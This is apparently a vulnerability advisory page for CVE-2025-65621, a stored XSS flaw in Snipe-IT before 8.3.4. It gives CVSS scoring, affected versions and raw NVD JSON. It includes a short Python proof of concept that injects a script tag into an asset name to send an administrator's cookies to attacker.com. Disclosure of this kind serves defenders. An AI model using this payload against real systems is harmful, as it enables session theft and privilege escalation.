Security Vulnerability Report
中文
CVE-2025-65621 CVSS 5.4 MEDIUM

CVE-2025-65621

Published: 2025-12-01 21:15:52
Last Modified: 2025-12-04 18:58:57

Description

Snipe-IT before 8.3.4 allows stored XSS, allowing a low-privileged authenticated user to inject JavaScript that executes in an administrator's session, enabling privilege escalation.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:snipeitapp:snipe-it:*:*:*:*:*:*:*:* - VULNERABLE
Snipe-IT < 8.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json target = 'http://target.com' # 1. 低权限用户登录 session = requests.Session() login_data = { 'username': 'attacker', 'password': 'password123' } session.post(f'{target}/login', data=login_data) # 2. 在资产名称字段注入XSS payload asset_data = { 'name': '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>', 'serial': '12345' } response = session.post(f'{target}/api/v1/hardware', json=asset_data) # 3. 当管理员访问该资产时,cookie被窃取

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65621", "sourceIdentifier": "[email protected]", "published": "2025-12-01T21:15:52.193", "lastModified": "2025-12-04T18:58:57.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Snipe-IT before 8.3.4 allows stored XSS, allowing a low-privileged authenticated user to inject JavaScript that executes in an administrator's session, enabling privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:snipeitapp:snipe-it:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.3.4", "matchCriteriaId": "46D67094-0C55-414A-81CC-1949B09F31B2"}]}]}], "references": [{"url": "http://snipeitapp.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/firef0x00/vulnerability-research/tree/main/CVE-2025-65621", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}